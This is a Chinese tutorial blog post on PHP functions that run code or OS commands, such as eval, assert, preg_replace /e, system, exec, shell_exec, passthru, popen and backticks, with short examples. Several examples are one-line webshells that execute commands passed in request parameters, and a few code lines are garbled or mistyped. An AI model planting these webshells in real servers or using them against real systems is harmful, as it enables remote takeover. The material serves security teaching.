当前位置: 首页 > news >正文

PHP危险函数

PHP危险函数

文章目录

  • PHP危险函数
      • PHP 代码执行函数
        • eval 语句
        • assert()语句
        • preg_replace()函数
          • 正则表达式里
          • 修饰符
      • 回调函数
        • call_user_func()函数
        • array_map()函数
      • OS命令执行函数
        • system()函数
        • exec()函数
        • shell_exec()函数
        • passthru() 函数
        • popen 函数
        • 反引号``
    • 实列

通过构造函数可以执行系统命令达到非法控制计算机被视为危险函数

PHP 代码执行函数

字符串当中PHP代码来执行

eval 语句

eval() 会将符合PHP 语法规范字符串当作php 代码执行

这个语句只能执行php代码不能执行系统命令但能调用system()函数来实现系统命令

$code = $_REQUEST['code'];
eval($code);

通过简写就是一句话木马的原型

@eval($ REQUEST['code']);

也可以嵌入eval(eval());的形式来执行

assert()语句
  • assert() 只能执行单条PHP 语句
  • 在低版本中assert() 是一个函数,可以动态调用。
  • 高版本PHP 中,7.2.0被弃用在8.0.0的assert语句已经被淘汰了
$code=$_REQUEST['code'];
assert($code);

因为每次只能执行一条语句如果想实现一句话木马可以以编码的形式进行
在这里插入图片描述

preg_replace()函数

preg_replace 执行一个正则表达式的搜索和替换

正则表达式:一类字符特征

preg_replace(“/正则表达式/修饰符”,“要替换的字符”,“目标字符串”)

在第二个参数里"\\1"是第一个匹配到的字符

正则表达式里

.*是表示匹配所有

修饰符

i匹配大小写

e将匹配到符合php代码的字符执行

回调函数

一个函数调用另外一个函数。PHP 语言中回调函数有很多。

call_user_func()函数

特点

  • 只能调用函数
  • 不能用结构语句

用assert执行phpinfo函数

$func = 'assert';
$arg = "phpinfo();";
call_user_func($func, $arg);
array_map()函数

参数必须为数组

$func = 'assert';
$arg[] = "phpinfo();";
array_map($func, $arg);

OS命令执行函数

OS命令执行函数:把字符串当作系统命令执行

system()函数

是一个典型的系统命令执行函数

特点

  • 自带输出功能
  • 自动区分系统平台
<?php$cmd=$_REQUEST['cmd'];system($cmd);?>
exec()函数

将字符串当作代码执行

特点:

  • 能执行系统命令
  • 不自带输出
  • 只输出命令执行结果的最后一行
<?php$cmd = "ipconfig";var_dump(exec($cmd));?>
shell_exec()函数

特点:

  • 通过 shell 执行命令并将完整的输出以字符串的方式返回
  • 不自带输出
<?php$cmd =$_REQUEST["cmd"];echo shell_exec($cmd);?>
passthru() 函数

执行外部程序并且显示原始输出
特点

  • 能执行系统命令
  • 自带输出功能
<?php   $cmd =$_REQUEST["cmd"];    		passthru($cmd); 
?>
popen 函数

特点

  • 把命令结果当作成一个文件
  • 不自带输出功能
  • 函数返回值为文件指针,可以简单理解为文件名

想要输出结果要使用fread函数有两个参数一个是要读的文件另一个是字节数
在这里插入图片描述
模式。‘r’ 表示阅读,‘w’ 表示写入。

<?php$cmd=$_REQUEST["cmd"];$result=popen($cmd,"r");echo fread($resukt,1024);
反引号``

反引号` 内的字符串,会被解析成OS 命令。


$cmd = "whoami";
$cmd = "ipconfig";
$cmd = "net user";
echo "<pre>".`$cmd`;
n($cmd,"r");echo fread($resukt,1024);

实列

  1. system
    以字符串的形式执行系统命令并自带回显
<?phpsystem($_GET['cmd']);
?>

在这里插入图片描述
2. exec
用字符串的形式执行系统命令不自带回显,用echo只能输出末一行用来确认代码是否执行成功

<?php echo exec($_REQUEST['cmd']);
?>

在这里插入图片描述
3. shell_exec
通过 shell 执行命令后并将完整的输出以字符串的方式返回
函数本身不自带回显功能

<?php echo shell_exec($_REQUEST['cmd']);
?>

在这里插入图片描述
4. passthru
执行外部程序并且显示原始输出

<?php passthru ($_REQUEST['cmd']);
?>

在这里插入图片描述
5. popen
打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

<?php
echo fread(popen($_REQUEST['cmd'],'r'),1024);
?>

在这里插入图片描述

  1. ``反引号
    反引号` 内的字符串,会被解析成OS 命令
<?php$a=$_REQUEST['cmd'];echo `$a`;
?>

在这里插入图片描述
7. eval
eval() 会将符合PHP 语法规范字符串当作php 代码执行

<?php
echo @eval ($_REQUEST['cmd']);
?>

在这里插入图片描述

  1. assert
<?phpassert($_REQUEST['cmd']);?>

在这里插入图片描述

  1. preg_replace
<?phpecho  preg_replace('~\[(.*)\]~e','\\1','[phpinfo()]');  
?>

在这里插入图片描述

  1. call_user_func
<?phpcall_user_func('assert','phpinfo()');
?>

在这里插入图片描述

  1. array_map
    只能执行数组
<?php$a[]=phpinfo();array_map(assert(),$a);
?>

在这里插入图片描述

  1. 动态函数
$func="system";
$func2="ipconfig";
$func($func2);

在这里插入图片描述

相关文章:

PHP危险函数

PHP危险函数 文章目录 PHP危险函数PHP 代码执行函数eval 语句assert()语句preg_replace()函数正则表达式里修饰符 回调函数call_user_func()函数array_map()函数 OS命令执行函数system()函数exec()函数shell_exec()函数passthru() 函数popen 函数反引号 实列 通过构造函数可以执…...

【ARM Cortex-M 系列 4 番外篇 -- 常用 benchmark 介绍】

文章目录 1.1 CPU 性能测试 MIPS 计算1.1.1 Cortex-M7 CPI 1.2 benchmark 小节1.3.1 Geekbenck 介绍 1.3 编译参数配置 1.1 CPU 性能测试 MIPS 计算 每秒百万指令数 (MIPS)&#xff1a;在数据压缩测试中&#xff0c;MIPS 每秒测量一次 CPU 执行的低级指令的数量。越高越好&…...

web安全-原发抗抵赖

原发抗抵赖 原发抗抵赖也称不可否认性&#xff0c;主要表现以下两种形式&#xff1a; 数据发送者无法否认其发送数据的事实。例如&#xff0c;A向B发信&#xff0c;事后&#xff0c;A不能否认该信是其发送的。数据接收者事后无法否认其收到过这些数据。例如&#xff0c;A向B发…...

强化学习------PPO算法

目录 简介一、PPO原理1、由On-policy 转化为Off-policy2、Importance Sampling&#xff08;重要性采样&#xff09;3、off-policy下的梯度公式推导 二、PPO算法两种形式1、PPO-Penalty2、PPO-Clip 三、PPO算法实战四、参考 简介 PPO 算法之所以被提出&#xff0c;根本原因在于…...

node(三)express框架

文章目录 1.express介绍2.express初体验3.express路由3.1什么是路由&#xff1f;3.2路由的使用 1.express介绍 是一个基于Node平台的极简、灵活的WEB应用开发框架&#xff0c;官网地址&#xff1a;https://www.expressjs.com.cn/ 简单来说&#xff0c;express是一个封装好的工…...

linux find命令搜索日志内容

linux find命令搜索日志内容 查询服务器log日志 find /opt/logs/ -name "filename.log" | xargs grep -a "这里是要查询的字符"加上-a 是为了不报查出 binary 的错 服务器会返回 包含所查字符的整行日志信息...

CentOS 编译安装TinyXml2

安装 TinyXml2 Git 源码下载地址:https://github.com/leethomason/tinyxml2 步骤1&#xff1a;首先&#xff0c;你需要下载tinyxml2的源代码。你可以从Github或者源代码官方网站下载。并上传至/usr/local/source_code/ 步骤2&#xff1a;下载完成后&#xff0c;需要将源代码解…...

竞赛选题 深度学习人体跌倒检测 -yolo 机器视觉 opencv python

0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; **基于深度学习的人体跌倒检测算法研究与实现 ** 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&#xff01; &#x1f947;学长这里给一个题目综合评分(每项满…...

使用gson将复杂的树型结构转Json遇到的问题,写入文件为空

某个项目需要用到一个较为复杂的数据结构。定义成一个树型链表。 public class TreeNode { private String name; public String getName() { return name; } public void setName(String name) { this.name name; } public String getPartType() { retur…...

JavaScript异步编程:提升性能与用户体验

目录 什么是异步编程&#xff1f; 回调函数 Promise Async/Await 总结 在Web开发中&#xff0c;处理耗时操作是一项重要的任务。如果我们在执行这些操作时阻塞了主线程&#xff0c;会导致页面失去响应&#xff0c;用户体验下降。JavaScript异步编程则可以解决这个问题&…...

lossBN

still tips for learning classification and regression关于softmax的引入和作用分类问题损失函数 - MSE & Cross-entropy⭐Batch Normalization&#xff08;BN&#xff09;⭐想法&#xff1a;直接改error surface的landscape&#xff0c;把山铲平feature normalization那…...

【微信小程序】数字化会议OA系统之投票模块(附源码)

&#x1f389;&#x1f389;欢迎来到我的CSDN主页&#xff01;&#x1f389;&#x1f389; &#x1f3c5;我是Java方文山&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;推荐给大家我的专栏《微信小程序开发实战》。&#x1f3af;&#x1f3a…...

clang-前端插件-给各种无花括号的“块”加花括号-基于llvm15--clang-plugin-add-brace

处理的语句 case 术语约定或备忘 case起止范围: 从冒号到下一个’case’开头, 简称有: case内 、case内容Ast: Abstract syntax tree: 抽象语法树没插入花括号的case 若case内, 以下任一条成立,则 跳过该case 即 不会对该case内容用花括号包裹. 有#define、有#include、有…...

python爬虫-某政府网站加速乐(简单版)实例小记

# -*- coding:utf-8 -*- # Time : 2023/10/23 17:06 # Author: 水兵没月 # File : 哈哈哈哈.py # Software: PyCharm ####################import random import requests# 代理 def get_proxy(proxy_typerandom.choice([1,2,3,4,5])):url "http://ZZZZZZZZZZZZZZZZZZ&qu…...

stable diffusion简介和原理

Stable Diffusion中文的意思是稳定扩散&#xff0c;本质上是基于AI的图像扩散生成模型。 Stable Diffusion是一个引人注目的深度学习模型&#xff0c;它使用潜在扩散过程来生成图像&#xff0c;允许模型在生成图像时考虑到文本的描述。这个模型的出现引起了广泛的关注和讨论&am…...

【机器学习】模型平移不变性/等变性归纳偏置Attention机制

Alphafold2具有旋转不变性吗——从图像识别到蛋白结构预测的旋转对称性实现 通过Alphafold2如何预测蛋白质结构&#xff0c;看有哪些机制或tricks可以利用&#xff1f; 一、等变Transformer 等变Transformer是Transformer众多变体的其中一种&#xff0c;其强调等变性。不变性…...

c++的4中类型转换操作符(static_cast,reinterpret_cast,dynamic_cast,const_cast),RTTI

目录 引入 介绍 static_cast 介绍 使用 reinterpret_cast 介绍 使用 const_cast 介绍 使用 dynamic_cast 介绍 使用 RTTI(运行时确定类型) 介绍 typeid运算符 dynamic_cast运算符 type_info类 引入 原本在c中,我们就已经接触到了很多类型转换 -- 隐式类型转…...

CNN实现与训练--------------以cifar10数据集为例进行演示(基于Tensorflow)

本文以cifar10数据集为例进行演示 (cifar10数据集有5万张3232像素点的彩色图片,用于训练有1万张3232像素点的彩色图片,用于测试) import tensorflow as tf import os import numpy as np from matplotlib import pyplot as plt from tensorflow.keras.layers import Conv2…...

YOLOv5算法改进(21)— 添加CA注意力机制 + 更换Neck网络之BiFPN + 更换损失函数之EIoU

前言:Hello大家好,我是小哥谈。通过上节课的学习,相信同学们一定了解了组合改进的核心。本节课开始,就让我们结合论文来对YOLOv5进行组合改进(添加CA注意力机制+更换Neck网络之BiFPN+更换损失函数之EIoU),希望同学们学完本节课可以有所启迪,并且后期可以自行进行YOLOv5…...

面对6G时代 适合通信专业的 毕业设计题目

对于通信专业的本科生来说&#xff0c;选择一个与学习内容紧密相关的毕业设计题目十分重要。 以下是东枫科技建议的题目&#xff0c;它们涵盖了通信技术的不同方面&#xff1a; 高校老师可以申请东枫科技工程师共同对学生指导&#xff0c;完成毕业设计。 基于5G/6G的通信技术…...

实战指南:在快马平台用trae构建电商购物车状态管理系统

今天想和大家分享一个实战项目&#xff1a;用trae在电商场景下构建购物车状态管理系统。这个方案特别适合需要清晰数据流的中小型项目&#xff0c;比如电商平台、管理后台等。下面我会详细拆解整个实现过程&#xff0c;希望能给有类似需求的同学一些参考。 项目结构设计 首先…...

Scarab:重构空洞骑士模组管理体验的技术实践

Scarab&#xff1a;重构空洞骑士模组管理体验的技术实践 【免费下载链接】Scarab An installer for Hollow Knight mods written in Avalonia. 项目地址: https://gitcode.com/gh_mirrors/sc/Scarab 问题溯源&#xff1a;模组管理的隐性成本与技术瓶颈 量化手动管理的效…...

告别双流!用Vision Transformer (ViT) 搭建单流目标跟踪器OSTrack,实测速度提升40%

单流目标跟踪新范式&#xff1a;ViT驱动的OSTrack实战解析 在计算机视觉领域&#xff0c;目标跟踪技术正经历着从传统双流架构向单流范式的革命性转变。当我们面对复杂场景中的实时跟踪需求时&#xff0c;传统方法的性能瓶颈日益凸显——特征提取与关系建模的割裂处理导致计算冗…...

Kazumi:跨平台动漫资源整合解决方案,打造个性化追番体验

Kazumi&#xff1a;跨平台动漫资源整合解决方案&#xff0c;打造个性化追番体验 【免费下载链接】Kazumi 基于自定义规则的番剧采集APP&#xff0c;支持流媒体在线观看&#xff0c;支持弹幕。 项目地址: https://gitcode.com/gh_mirrors/ka/Kazumi 动漫爱好者常面临三大…...

高效一键构建:DoL-Lyra整合包的智能自动化构建系统解析

高效一键构建&#xff1a;DoL-Lyra整合包的智能自动化构建系统解析 【免费下载链接】DOL-CHS-MODS Degrees of Lewdity 整合 项目地址: https://gitcode.com/gh_mirrors/do/DOL-CHS-MODS 还在为Degrees of Lewdity游戏的美化整合包配置而烦恼吗&#xff1f;您是否曾因手…...

忍者像素绘卷微信小程序接入:用户提示词历史+生成图云存储方案

忍者像素绘卷微信小程序接入&#xff1a;用户提示词历史生成图云存储方案 1. 项目背景与核心价值 忍者像素绘卷是一款基于Z-Image-Turbo深度优化的图像生成工作站&#xff0c;将16-Bit复古游戏美学与现代AI图像生成技术完美结合。这款工具特别适合创作具有忍者主题和复古像素…...

Kimi-VL-A3B-Thinking图文问答实操手册:从镜像拉取到Chainlit交互验证

Kimi-VL-A3B-Thinking图文问答实操手册&#xff1a;从镜像拉取到Chainlit交互验证 1. 引言&#xff1a;为什么你需要关注这个图文对话模型&#xff1f; 想象一下&#xff0c;你手头有一张复杂的图表&#xff0c;或者一份满是文字的截图&#xff0c;你想快速知道里面的关键信息…...

S32K3XX车载以太网驱动:从硬件接口到数据收发的全链路解析

1. S32K3XX车载以太网驱动的硬件架构解析 第一次接触S32K3XX系列芯片的车载以太网驱动时&#xff0c;最让我头疼的就是那一堆专业术语&#xff1a;MAC、PHY、MII、MDIO... 后来在实际项目中摸爬滚打才发现&#xff0c;理解硬件架构就像拆解汽车的发动机&#xff0c;只要搞清各个…...

第二章 从ROM到app_main:深入剖析ESP32 FreeRTOS双核启动的代码级实现

1. ESP32双核启动全景图&#xff1a;从硬件复位到RTOS就绪 第一次拿到ESP32开发板时&#xff0c;你可能和我一样好奇&#xff1a;按下复位键后&#xff0c;这个小小的芯片内部究竟发生了什么&#xff1f;为什么我们的app_main函数能自动运行&#xff1f;今天我们就用"显微…...

RK3588上OpenCV+GStreamer播放RTSP卡成PPT?一个环境变量让帧率从7飙升到25+

RK3588视频开发实战&#xff1a;OpenCVGStreamer硬解码性能翻倍秘籍 在嵌入式视觉应用开发中&#xff0c;RK3588凭借其强大的多媒体处理能力成为众多开发者的首选平台。但当你在Python环境中使用OpenCV配合GStreamer进行RTSP视频流处理时&#xff0c;是否遇到过这样的尴尬&…...